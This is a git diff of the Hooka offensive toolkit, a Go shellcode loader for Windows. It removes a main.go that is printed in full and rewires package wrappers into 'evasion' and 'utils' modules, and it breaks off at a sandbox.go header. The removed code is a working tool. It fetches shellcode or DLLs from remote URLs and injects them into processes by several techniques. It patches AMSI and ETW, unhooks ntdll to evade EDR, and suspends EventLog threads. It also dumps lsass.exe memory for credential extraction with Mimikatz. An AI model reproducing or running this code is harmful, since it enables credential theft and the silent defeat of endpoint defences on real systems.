h1:eCbImbZ95eXtAUIbLAuAVnBnwf83mjf6QIVH8SHYwqQ= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw= github.com/prometheus/client_golang v1.0.0/go.mod h1:db9x61etRT2tGnBNRi70OPL5FsnadC4Ky3P0J6CfImo= @@ -319,6 +314,7 @@ github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UV github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA= github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.7.1 h1:5TQK59W5E3v0r2duFAb7P95B6hEeOyEnHRa8MjYSMTY= github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/syndtr/goleveldb v1.0.1-0.20210819022825-2ae1ddf74ef7/go.mod h1:q4W45IWZaF22tdD+VEXcAWRA037jwmWEB5VWYORlTpc= github.com/tinylib/msgp v1.0.2/go.mod h1:+d+yLhGm8mzTaHzB+wgMYrodPfmZrzkirds8fDWklFE= @@ -456,14 +452,10 @@ golang.org/x/sys v0.0.0-20210420205809-ac73e9fd8988/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210816183151-1e6c022a8912/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.12.0 h1:CM0HF96J0hcLAwsHPJZjfdNzs0gftsLfgKt57wWHJ0o= -golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.15.0 h1:h48lPFYpsTvQJZF4EKyI4aLHaev3CxivZmv7yZig9pc= +golang.org/x/sys v0.15.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= -golang.org/x/term v0.8.0 h1:n5xxQn2i3PC0yLAbjTpNT85q/Kgzcr2gIoX9OrJUols= -golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= @@ -568,6 +560,7 @@ gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b h1:h8qDotaEPuJATrMmW04NCwg7v22aHH28wwpauUhK9Oo= gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gotest.tools v2.2.0+incompatible/go.mod h1:DsYFclhRJ6vuDpmuTbkuFWG+y2sxOXAzmJt81HFBacw= honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= diff --git a/main.go b/main.go deleted file mode 100644 index 37af1a0..0000000 --- a/main.go +++ /dev/null @@ -1,656 +0,0 @@ -package main - -import ( - "encoding/base64" - "encoding/hex" - "flag" - "os" - "strings" - "time" - - "github.com/D3Ext/Hooka/pkg/hooka" - - l "github.com/D3Ext/maldev/logging" -) - -var techniques []string = []string{"CreateRemoteThread", "CreateRemoteThreadHalos", "CreateProcess", "EnumSystemLocales", "EnumSystemLocalesHalos", "Fibers", "QueueUserApc", "UuidFromString", "EtwpCreateEtwThread", "RtlCreateUserThread", "1", "2", "3", "4", "5", "6", "7", "8", "9", "10"} - -func main() { - var shellcode []byte - var err error - - var sc_url string - var sc_file string - var dll_file string - var dll_url string - var technique string - var hook_detect bool - var unhook int - var base64_flag bool - var hex_flag bool - var test_flag bool - var amsi bool - var etw bool - var lsass string - var phantom bool - var pid int - - l.PrintBanner("Hooka!") - l.Println(" by D3Ext - v0.1") - time.Sleep(100 * time.Millisecond) - - flag.StringVar(&sc_url, "url", "", "remote url where shellcode is stored (e.g. http://192.168.1.37/shellcode.bin)") - flag.StringVar(&dll_url, "remote-dll", "", "remote url where DLL is stored, especify function separated by comma (i.e. http://192.168.1.37/evil.dll,xyz)") - flag.StringVar(&sc_file, "file", "", "path to file where shellcode is stored") - flag.StringVar(&dll_file, "dll", "", "path to DLL you want to inject with function name sepparated by comma (i.e. evil.dll,xyz)") - flag.StringVar(&technique, "t", "", "shellcode injection technique (default: 1):\n 1: CreateRemoteThread\n 2: CreateRemoteThreadHalos\n 3: CreateProcess\n 4: EnumSystemLocales\n 5: EnumSystemLocalesHalos\n 6: Fibers\n 7: QueueUserApc\n 8: UuidFromString\n 9: EtwpCreateEtwThread\n 10: RtlCreateUserThread (PID required)") - flag.BoolVar(&hook_detect, "hooks", false, "dinamically detect hooked functions by EDR") - flag.IntVar(&unhook, "unhook", 0, "overwrite syscall memory address to bypass EDR : 1=classic, 2=full, 3=Perun's Fart") - flag.BoolVar(&base64_flag, "b64", false, "decode base64 encoded shellcode") - flag.BoolVar(&amsi, "amsi", false, "overwrite AmsiScanBuffer memory address to patch AMSI (Anti Malware Scan Interface)") - flag.BoolVar(&etw, "etw", false, "overwrite EtwEventWrite memory address to patch ETW (Event Tracing for Windows)") - flag.BoolVar(&hex_flag, "hex", false, "decode hex encoded shellcode") - flag.BoolVar(&phantom, "phantom", false, "use Phant0m technique to suspend EventLog threads (run with high privs)") - flag.BoolVar(&test_flag, "test", false, "test shellcode injection capabilities by spawning a calc.exe") - flag.StringVar(&lsass, "lsass", "", "dump lsass.exe process memory into a file to extract credentials (run with high privs)") - flag.IntVar(&pid, "pid", 0, "PID to inject shellcode into (only applies for certain techniques) (default: self)") - flag.Parse() - - // Check if two main args were passed - var args_check int = 0 - - if sc_url != "" { - args_check += 1 - } - if sc_file != "" { - args_check += 1 - } - if dll_url != "" { - args_check += 1 - } - if dll_file != "" { - args_check += 1 - } - if test_flag { - args_check += 1 - } - if hook_detect { - args_check += 1 - } - if lsass != "" { - args_check += 1 - } - if phantom { - args_check += 1 - } - - if args_check > 1 { - l.Println() - flag.PrintDefaults() - l.Println("\n[-] Error: you can't use two main flags at the same time!\n") - os.Exit(0) - - } else if args_check == 0 { - l.Println() - flag.PrintDefaults() - os.Exit(0) - } - - // Check if two encoding methods were especified - var enc_check int - - if base64_flag { - enc_check += 1 - } - if hex_flag { - enc_check += 1 - } - - if enc_check > 1 { - l.Println() - flag.PrintDefaults() - l.Println("\n[-] Error: you can't use base64 and hex encoding at the same time\n") - os.Exit(0) - } - - if technique == "" { - technique = "CreateRemoteThread" - } - - // Check invalid injection technique - var valid_t bool - for _, t := range techniques { - if strings.ToLower(t) == strings.ToLower(technique) { - valid_t = true - } - } - - // Check if a required pid was especified - if (strings.ToLower(technique) == "rtlcreateuserthread") || (technique == "10") { - if pid == 0 { - l.Println("\n[-] Error: a PID is required to inject shellcode into with this injection technique\n") - os.Exit(0) - } - } - - if valid_t == false { - l.Println() - flag.PrintDefaults() - l.Println("\n[-] Error: invalid shellcode injection technique! See help panel\n") - os.Exit(0) - } - - // Check unexpected values for unhooking flag - if (unhook != 1) && (unhook != 2) && (unhook != 3) && (unhook != 0) { // Check if user provided a non allowed value - l.Println() - flag.PrintDefaults() - l.Println("\n[-] Error: invalid unhooking technique! 1=classic, 2=full, 3=Perun's Fart\n") - os.Exit(0) - } - - // Main code starts here - - if sc_url != "" { - - time.Sleep(200 * time.Millisecond) - l.Println("\n[+] Remote shellcode URL: " + sc_url) - time.Sleep(200 * time.Millisecond) - if pid != 0 { - l.Println("[+] Target PID:", pid) - } else { - l.Println("[+] Target PID: self") - } - time.Sleep(200 * time.Millisecond) - - // Check shellcode encoding flags - if base64_flag { - l.Println("[+] Shellcode encoding: base64") - } else if hex_flag { - l.Println("[+] Shellcode encoding: hex") - } else { - l.Println("[+] No encoding was especified") - } - time.Sleep(300 * time.Millisecond) - - l.Println("[*] Retrieving shellcode from url...") - shellcode, err = hooka.GetShellcodeFromUrl(sc_url) - if err != nil { // Handle error - l.Println("[-] An error has occurred retrieving shellcode!") - l.Fatal(err) - } - time.Sleep(300 * time.Millisecond) - - if base64_flag { // Decode shellcode if necessary - l.Println("[*] Decoding shellcode...") - shellcode, err = base64.StdEncoding.DecodeString(string(shellcode)) - if err != nil { // Handle error - l.Fatal(err) - } - time.Sleep(300 * time.Millisecond) - - } else if hex_flag { - l.Println("[*] Decoding shellcode...") - shellcode, err = hex.DecodeString(string(shellcode)) - if err != nil { // Handle error - l.Fatal(err) - } - time.Sleep(300 * time.Millisecond) - } - - checkAmsi(amsi) - checkEtw(etw) - checkUnhook(unhook, strings.ToLower(technique)) - - time.Sleep(300 * time.Millisecond) - l.Println("[*] Injecting shellcode using " + technique + " technique") - - err = hooka.Inject(shellcode, technique, pid) // Inject shellcode - if err != nil { // Handle error - l.Fatal(err) - } - - time.Sleep(100 * time.Millisecond) - l.Println("[+] Shellcode should be executed without errors!\n") - - } else if sc_file != "" { - - _, err := os.Stat(sc_file) // Check if file exists - if os.IsNotExist(err) { - l.Println("\n[-] Especified file doesn't exist!\n") - time.Sleep(100 * time.Millisecond) - os.Exit(0) - } - - time.Sleep(200 * time.Millisecond) // Add some delay to let the user read info - if pid != 0 { - l.Println("\n[+] Target PID:", pid) - } else { - l.Println("\n[+] Target PID: self") - } - time.Sleep(200 * time.Millisecond) - l.Println("\n[+] Shellcode file: " + sc_file) - time.Sleep(300 * time.Millisecond) - l.Println("[*] Getting shellcode from file...") - time.Sleep(300 * time.Millisecond) - - shellcode, err = hooka.GetShellcodeFromFile(sc_file) // Read file and retrieve shellcode as bytes - if err != nil { // Handle error - l.Fatal(err) - } - - if base64_flag { // Check shellcode encoding flags - l.Println("[+] Shellcode encoding: base64") - shellcode, err = base64.StdEncoding.DecodeString(string(shellcode)) - if err != nil { - l.Fatal(err) - } - - time.Sleep(300 * time.Millisecond) - l.Println("[*] Decoding shellcode") - time.Sleep(300 * time.Millisecond) - - } else if hex_flag { - l.Println("[+] Shellcode encoding: hex") - shellcode, err = hex.DecodeString(string(shellcode)) - if err != nil { // Handle error - l.Fatal(err) - } - - time.Sleep(300 * time.Millisecond) - l.Println("[*] Decoding shellcode") - time.Sleep(300 * time.Millisecond) - - } else { - l.Println("[+] No encoding was especified") - time.Sleep(300 * time.Millisecond) - } - - checkAmsi(amsi) - checkEtw(etw) - checkUnhook(unhook, strings.ToLower(technique)) - - time.Sleep(300 * time.Millisecond) - l.Println("[*] Injecting shellcode using " + technique + " technique") - - err = hooka.Inject(shellcode, technique, pid) // Inject shellcode - if err != nil { // Handle error - l.Fatal(err) - } - - time.Sleep(100 * time.Millisecond) - l.Println("[+] Shellcode should be executed without errors!\n") - - } else if dll_file != "" { - - var dll_filename string - var dll_func string - - if strings.Contains(dll_file, ",") { // Check if a function was especified - dll_filename = strings.Split(dll_file, ",")[0] // Get DLL path - dll_func = strings.Split(dll_file, ",")[1] // Get DLL function to execute - } else { - dll_filename = dll_file - dll_func = "" - } - - _, err := os.Stat(dll_filename) // Check if especified dll exists - if os.IsNotExist(err) { - l.Println("\n[-] Especified DLL doesn't exists!\n") - time.Sleep(100 * time.Millisecond) - os.Exit(0) - } - - if pid != 0 { - l.Println("\n[+] Target PID:", pid) - } else { - l.Println("\n[+] Target PID: self") - } - - time.Sleep(200 * time.Millisecond) // Add some delay to let the user read info - l.Println("[+] DLL file: " + dll_filename) - time.Sleep(300 * time.Millisecond) - - if dll_func != "" { - l.Println("[+] Function to execute: " + dll_func) - } else { - l.Println("[+] Function to execute: default") - } - time.Sleep(300 * time.Millisecond) - - l.Println("[*] Converting " + dll_filename + " to shellcode") - shellcode, err := hooka.ConvertDllToShellcode(dll_filename, dll_func, "") // Convert DLL to shellcode - if err != nil { // Handle error - l.Fatal(err) - } - time.Sleep(300 * time.Millisecond) - l.Println("[+] Process finished successfully!") - time.Sleep(200 * time.Millisecond) - - checkAmsi(amsi) - checkEtw(etw) - checkUnhook(unhook, strings.ToLower(technique)) - - time.Sleep(300 * time.Millisecond) - l.Println("[*] Injecting shellcode using " + technique + " technique") - - err = hooka.Inject(shellcode, technique, pid) // Inject shellcode - if err != nil { // Handle error - l.Fatal(err) - } - - time.Sleep(100 * time.Millisecond) - l.Println("[+] Shellcode should be executed without errors!\n") - - } else if dll_url != "" { - - var dll_func string - var dll_url string - - if len(strings.Split(dll_url, ",")) >= 2 { - dll_func = strings.Split(dll_url, ",")[1] - dll_url = strings.Split(dll_url, ",")[0] - } else { - dll_func = "" - dll_url = strings.Split(dll_url, ",")[0] - } - - if pid != 0 { - l.Println("\n[+] Target PID:", pid) - } else { - l.Println("\n[+] Target PID: self") - } - - time.Sleep(200 * time.Millisecond) - if dll_func != "" { - l.Println("[+] Function to execute: " + dll_func) - } else { - l.Println("[+] Function to execute: default") - } - time.Sleep(300 * time.Millisecond) - - l.Println("[*] Retrieving DLL from url...") - dll_bytes, err := hooka.GetShellcodeFromUrl(dll_url) - if err != nil { // Handle error - l.Println("[-] An error has occurred retrieving remote dll!") - l.Fatal(err) - } - time.Sleep(300 * time.Millisecond) - - if base64_flag { // Check shellcode encoding flags - l.Println("[+] Shellcode encoding: base64") - dll_bytes, err = base64.StdEncoding.DecodeString(string(dll_bytes)) - if err != nil { - l.Fatal(err) - } - - time.Sleep(300 * time.Millisecond) - l.Println("[*] Decoding shellcode...") - time.Sleep(300 * time.Millisecond) - - } else if hex_flag { - l.Println("[+] Shellcode encoding: hex") - dll_bytes, err = hex.DecodeString(string(dll_bytes)) - if err != nil { // Handle error - l.Fatal(err) - } - - time.Sleep(300 * time.Millisecond) - l.Println("[*] Decoding shellcode...") - time.Sleep(300 * time.Millisecond) - - } else { - l.Println("[+] No encoding was especified") - time.Sleep(300 * time.Millisecond) - } - - l.Println("[*] Converting raw bytes to shellcode") - shellcode, err := hooka.ConvertDllBytesToShellcode(dll_bytes, dll_func, "") // Convert DLL to shellcode - if err != nil { // Handle error - l.Fatal(err) - } - time.Sleep(300 * time.Millisecond) - l.Println("[+] DLL converted successfully!") - time.Sleep(200 * time.Millisecond) - - checkAmsi(amsi) - checkEtw(etw) - checkUnhook(unhook, strings.ToLower(technique)) - - time.Sleep(300 * time.Millisecond) - l.Println("[*] Injecting DLL shellcode using " + technique + " technique") - - err = hooka.Inject(shellcode, technique, pid) // Inject shellcode - if err != nil { // Handle error - l.Fatal(err) - } - - time.Sleep(200 * time.Millisecond) - l.Println("[+] Shellcode should be executed without errors!\n") - - } else if hook_detect { // Enter here if --hooks flag was especified - - l.Println("\n[*] Detecting hooked functions...") - - all_hooks, err := hooka.DetectHooks() // Get all hooked functions - if err != nil { // Handle error - l.Fatal(err) - } - l.Println("[+] Process finished") - - if len(all_hooks) >= 1 { // Check if hooks array contains at least one function - time.Sleep(200 * time.Millisecond) - l.Println("[*] Hooked functions:\n") - for _, h := range all_hooks { - l.Println(h) - } - l.Println() - time.Sleep(200 * time.Millisecond) - - } else { - time.Sleep(200 * time.Millisecond) - l.Println("[+] No function is hooked!\n") - time.Sleep(100 * time.Millisecond) - } - - } else if test_flag { - - l.Println("\n[*] Testing with calc.exe shellcode") - time.Sleep(200 * time.Millisecond) - - checkAmsi(amsi) - checkEtw(etw) - checkUnhook(unhook, strings.ToLower(technique)) - - l.Println("[*] Injecting shellcode using " + technique + " technique") - - err := hooka.Inject(hooka.CalcShellcode(), technique, pid) // Inject calc.exe shellcode - if err != nil { // Handle error - l.Fatal(err) - } - l.Println("[+] Shellcode should be executed!\n") - - } else if phantom { - l.Println("\n[*] Checking high privileges") - privs, err := hooka.CheckHighPrivs() - if err != nil { - l.Fatal(err) - } - time.Sleep(200 * time.Millisecond) - - if privs == false { - l.Println("[-] Error: you need high privs to perform this operation!\n") - os.Exit(0) - } - - l.Println("[*] Searching EventLog PID") - eventlog_pid, err := hooka.GetEventLogPid() - if err != nil { - l.Fatal(err) - } - - time.Sleep(200 * time.Millisecond) - l.Println("[+] PID found:", int(eventlog_pid)) - time.Sleep(200 * time.Millisecond) - l.Println("[*] Enabling SeDebugPrivilege...") - time.Sleep(200 * time.Millisecond) - - l.Println("[*] Suspending EventLog threads") - err = hooka.Phant0mWithOutput(eventlog_pid) - if err != nil { - l.Fatal(err) - } - l.Println("[+] Threads killed successfully!\n") - - } else if lsass != "" { // Enter here if --lsass flag was especified - - if unhook == 1 { - l.Println("\n[*] Unhooking NtReadVirtualMemory from ntdll.dll so MiniDumpWriteDump doesn't get detected") - time.Sleep(200 * time.Millisecond) - err := hooka.ClassicUnhook([]string{"NtReadVirtualMemory"}, "C:\\Windows\\System32\\ntdll.dll") - if err != nil { - l.Fatal(err) - } - - } else if unhook == 2 { - l.Println("\n[*] Unhooking NtReadVirtualMemory from ntdll.dll so MiniDumpWriteDump doesn't get detected") - time.Sleep(200 * time.Millisecond) - err := hooka.FullUnhook("C:\\Windows\\System32\\ntdll.dll") - if err != nil { - l.Println("[-] An error has occurred while unhooking functions!") - l.Fatal(err) - } - - } else if unhook == 3 { - l.Println("\n[*] Unhooking NtReadVirtualMemory from ntdll.dll so MiniDumpWriteDump doesn't get detected") - time.Sleep(200 * time.Millisecond) - err := hooka.PerunsUnhook() - if err != nil { - l.Println("[-] An error has occurred while unhooking functions!") - l.Fatal(err) - } - } - - checkAmsi(amsi) - checkEtw(etw) - - l.Println("[*] Dumping lsass.exe process to " + lsass) - - err := hooka.DumpLsass(lsass) - if err != nil { // Handle error - l.Println("[-] An error has occurred, ensure to be running as admin:") - e := os.Remove(lsass) - if e != nil { - l.Fatal(e) - } - - l.Fatalln(err) - } - - info, err := os.Stat(lsass) - if err != nil { - l.Fatalln(err) - } - - l.Println("[*]", info.Size(), "bytes were written to file") - time.Sleep(100 * time.Millisecond) - l.Println("[+] Process finished! Now use Mimikatz in your machine to extract credentials\n") - time.Sleep(100 * time.Millisecond) - - } - -} - -func checkAmsi(check bool) { - if check { - l.Println("[*] Patching AMSI by overwriting AmsiScanBuffer memory address...") - time.Sleep(200 * time.Millisecond) - err := hooka.PatchAmsi() - if err != nil { - l.Println("[-] An error has occurred while overwriting memory!") - l.Fatal(err) - } - time.Sleep(200 * time.Millisecond) - } -} - -func checkEtw(check bool) { - if check { - l.Println("[*] Patching ETW by overwriting some EtwEventWrite functions memory address...") - time.Sleep(200 * time.Millisecond) - err := hooka.PatchEtw() - if err != nil { - l.Println("[-] An error has occurred while overwriting memory!") - l.Fatal(err) - } - time.Sleep(200 * time.Millisecond) - } -} - -func checkUnhook(unhook int, technique string) { - // Unhook function(s) - var funcs_to_unhook []string - var lib string - - if unhook == 1 { - l.Println("[*] Unhooking functions via Classic technique...") - time.Sleep(200 * time.Millisecond) - - if technique == "createtemotethread" { - funcs_to_unhook = []string{"CreateRemoteThreadEx"} - lib = "C:\\Windows\\System32\\ntdll.dll" - } else if technique == "createremotethreadhalos" { - funcs_to_unhook = []string{"NtCreateThreadEx", "NtAllocateVirtualMemory", "NtProtectVirtualMemory", "NtWriteVirtualMemory"} - lib = "C:\\Windows\\System32\\ntdll.dll" - } else if technique == "createprocess" { - funcs_to_unhook = []string{"NtQueryInformationProcess"} - } else if technique == "enumsystemlocales" { - funcs_to_unhook = []string{"RtlMoveMemory"} - lib = "C:\\Windows\\System32\\ntdll.dll" - } else if technique == "enumsystemlocaleshalos" { - funcs_to_unhook = []string{"NtAllocateVirtualMemory", "NtWriteVirtualMemory", "RtlMoveMemory"} - lib = "C:\\Windows\\System32\\ntdll.dll" - } else if technique == "queueuserapc" { - funcs_to_unhook = []string{"QueueUserAPC"} - lib = "C:\\Windows\\System32\\kernel32.dll" - } else if technique == "fibers" { - funcs_to_unhook = []string{"RtlCopyMemory"} - lib = "C:\\Windows\\System32\\ntdll.dll" - } else if technique == "uuidfromstring" { - funcs_to_unhook = []string{"UuidFromStringA"} - lib = "C:\\Windows\\System32\\Rpcrt4.dll" - } else if technique == "etwpcreateetwthread" { - funcs_to_unhook = []string{"RtlCopyMemory", "EtwpCreateEtwThread"} - lib = "C:\\Windows:\\System32\\ntdll.dll" - } else if technique == "rtlcreateuserthread" { - funcs_to_unhook = []string{"RtlCreateUserThread"} - lib = "C:\\Windows\\System32\\ntdll.dll" - } - - err := hooka.ClassicUnhook(funcs_to_unhook, lib) - if err != nil { - l.Println("[-] An error has occurred while unhooking functions!") - l.Fatal(err) - } - l.Println("[+] Functions have been unhooked!") - - } else if unhook == 2 { - l.Println("[*] Unhooking functions via Full Dll technique...") - time.Sleep(200 * time.Millisecond) - err := hooka.FullUnhook("C:\\Windows\\System32\\ntdll.dll") - if err != nil { - l.Println("[-] An error has occurred while unhooking functions!") - l.Fatal(err) - } - l.Println("[+] Functions have been unhooked!") - - } else if unhook == 3 { - l.Println("[*] Unhooking functions via Perun's Fart technique...") - time.Sleep(200 * time.Millisecond) - err := hooka.PerunsUnhook() - if err != nil { - l.Println("[-] An error has occurred while unhooking functions!") - l.Fatal(err) - } - l.Println("[+] Functions have been unhooked!") - } -} diff --git a/pkg/hooka/acg.go b/pkg/hooka/acg.go index 6df9341..82bd321 100644 --- a/pkg/hooka/acg.go +++ b/pkg/hooka/acg.go @@ -1,9 +1,9 @@ package hooka import ( - "github.com/D3Ext/Hooka/core" + "github.com/D3Ext/Hooka/evasion" ) func EnableACG() error { - return core.EnableACG() + return evasion.EnableACG() } diff --git a/pkg/hooka/amsi.go b/pkg/hooka/amsi.go index ceb0de2..95f059b 100644 --- a/pkg/hooka/amsi.go +++ b/pkg/hooka/amsi.go @@ -1,7 +1,11 @@ package hooka -import "github.com/D3Ext/Hooka/core" +import "github.com/D3Ext/Hooka/evasion" func PatchAmsi() error { - return core.PatchAmsi() + return evasion.PatchAmsi() +} + +func PatchAmsi2() error { + return evasion.PatchAmsi2() } diff --git a/pkg/hooka/auxiliary.go b/pkg/hooka/auxiliary.go index 8f199d5..03a439d 100644 --- a/pkg/hooka/auxiliary.go +++ b/pkg/hooka/auxiliary.go @@ -1,23 +1,21 @@ package hooka -import "github.com/D3Ext/Hooka/core" +import "github.com/D3Ext/Hooka/utils" func GetShellcodeFromUrl(url string) ([]byte, error) { - return core.GetShellcodeFromUrl(url) + return utils.GetShellcodeFromUrl(url) } func GetShellcodeFromFile(file string) ([]byte, error) { - return core.GetShellcodeFromFile(file) + return utils.GetShellcodeFromFile(file) } func CalcShellcode() []byte { - return core.CalcShellcode() -} - -func ElevateProcessToken() error { - return core.ElevateProcessToken() + return utils.CalcShellcode() } func CheckHighPrivs() (bool, error) { - return core.CheckHighPrivs() + return utils.CheckHighPrivs() } + + diff --git a/pkg/hooka/blockdlls.go b/pkg/hooka/blockdlls.go new file mode 100644 index 0000000..0454f8e --- /dev/null +++ b/pkg/hooka/blockdlls.go @@ -0,0 +1,14 @@ +package hooka + +import ( + "github.com/D3Ext/Hooka/evasion" +) + +func BlockDLLs() error { + return evasion.BlockDLLs() +} + +func CreateProcessBlockDLLs(cmd string) error { + return evasion.CreateProcessBlockDLLs(cmd) +} + diff --git a/pkg/hooka/dll.go b/pkg/hooka/dll.go index 2622c90..9b697cd 100644 --- a/pkg/hooka/dll.go +++ b/pkg/hooka/dll.go @@ -1,11 +1,11 @@ package hooka -import "github.com/D3Ext/Hooka/core" +import "github.com/D3Ext/Hooka/utils" func ConvertDllToShellcode(dll_file string, dll_func string, func_args string) ([]byte, error) { - return core.ConvertDllToShellcode(dll_file, dll_func, func_args) + return utils.ConvertDllToShellcode(dll_file, dll_func, func_args) } func ConvertDllBytesToShellcode(dll_bytes []byte, dll_func string, func_args string) ([]byte, error) { - return core.ConvertDllBytesToShellcode(dll_bytes, dll_func, func_args) + return utils.ConvertDllBytesToShellcode(dll_bytes, dll_func, func_args) } diff --git a/pkg/hooka/etw.go b/pkg/hooka/etw.go index e0c16ab..07262a6 100644 --- a/pkg/hooka/etw.go +++ b/pkg/hooka/etw.go @@ -1,7 +1,11 @@ package hooka -import "github.com/D3Ext/Hooka/core" +import "github.com/D3Ext/Hooka/evasion" func PatchEtw() error { - return core.PatchEtw() + return evasion.PatchEtw() +} + +func PatchEtw2() error { + return evasion.PatchEtw2() } diff --git a/pkg/hooka/gate.go b/pkg/hooka/gate.go index 6f1e405..7f43187 100644 --- a/pkg/hooka/gate.go +++ b/pkg/hooka/gate.go @@ -1,11 +1,8 @@ package hooka -import "github.com/D3Ext/Hooka/core" +import "github.com/D3Ext/Hooka/evasion" func GetSysId(funcname string) (uint16, error) { - return core.GetSysId(funcname) + return evasion.GetSysId(funcname) } -func GetFuncPtr(funcname string) (uint64, error) { - return core.GetFuncPtr(funcname) -} diff --git a/pkg/hooka/hashing.go b/pkg/hooka/hashing.go index 624702e..ce7f6de 100644 --- a/pkg/hooka/hashing.go +++ b/pkg/hooka/hashing.go @@ -1,11 +1,32 @@ package hooka -import "github.com/D3Ext/Hooka/core" +import ( + "github.com/D3Ext/Hooka/utils" + "github.com/D3Ext/Hooka/evasion" + "golang.org/x/sys/windows" +) -func FuncFromHash(hash string, dll string, hashing_func func(string) string) (uint16, string, error) { - return core.FuncFromHash(hash, dll, hashing_func) +func GetFuncPtr(hash string, dll string, hashing_func func(str string) string) (*windows.LazyProc, string, error) { + return evasion.GetFuncPtr(hash, dll, hashing_func) } -func HalosFuncFromHash(hash string, hashing_func func(str string) string) (uint16, string, error) { - return core.HalosFuncFromHash(hash, hashing_func) +func GetSysIdHash(hash string, dll string, hashing_func func(str string) string) (uint16, string, error) { + return evasion.GetSysIdHash(hash, dll, hashing_func) } + +func GetSysIdHashHalos(hash string, hashing_func func(str string) string) (uint16, string, error) { + return evasion.GetSysIdHashHalos(hash, hashing_func) +} + +func Md5(src string) string { + return utils.Md5(src) +} + +func Sha1(src string) string { + return utils.Sha1(src) +} + +func Sha256(src string) string { + return utils.Sha256(src) +} + diff --git a/pkg/hooka/hooks.go b/pkg/hooka/hooks.go index bba9bbd..2674c42 100644 --- a/pkg/hooka/hooks.go +++ b/pkg/hooka/hooks.go @@ -1,13 +1,13 @@ package hooka import ( - "github.com/D3Ext/Hooka/core" + "github.com/D3Ext/Hooka/evasion" ) func DetectHooks() ([]string, error) { - return core.DetectHooks() + return evasion.DetectHooks() } func IsHooked(func_name string) (bool, error) { - return core.IsHooked(func_name) + return evasion.IsHooked(func_name) } diff --git a/pkg/hooka/lsass.go b/pkg/hooka/lsass.go index 1e37233..32872c9 100644 --- a/pkg/hooka/lsass.go +++ b/pkg/hooka/lsass.go @@ -1,7 +1,7 @@ package hooka -import "github.com/D3Ext/Hooka/core" +import "github.com/D3Ext/Hooka/evasion" -func DumpLsass(output string) error { - return core.DumpLsass(output) +func DumpLsass(output_file string) error { + return evasion.DumpLsass(output_file) } diff --git a/pkg/hooka/phant0m.go b/pkg/hooka/phant0m.go index dd2e547..9651321 100644 --- a/pkg/hooka/phant0m.go +++ b/pkg/hooka/phant0m.go @@ -1,15 +1,12 @@ package hooka -import "github.com/D3Ext/Hooka/core" +import "github.com/D3Ext/Hooka/evasion" -func GetEventLogPid() (uint32, error) { - return core.GetEventLogPid() +func GetEventLogPid() (int, error) { + return evasion.GetEventLogPid() } -func Phant0m(pid uint32) error { - return core.Phant0m(pid) +func Phant0m(eventlog_pid int) error { + return evasion.Phant0m(eventlog_pid) } -func Phant0mWithOutput(pid uint32) error { - return core.Phant0mWithOutput(pid) -} diff --git a/pkg/hooka/sandbox.go 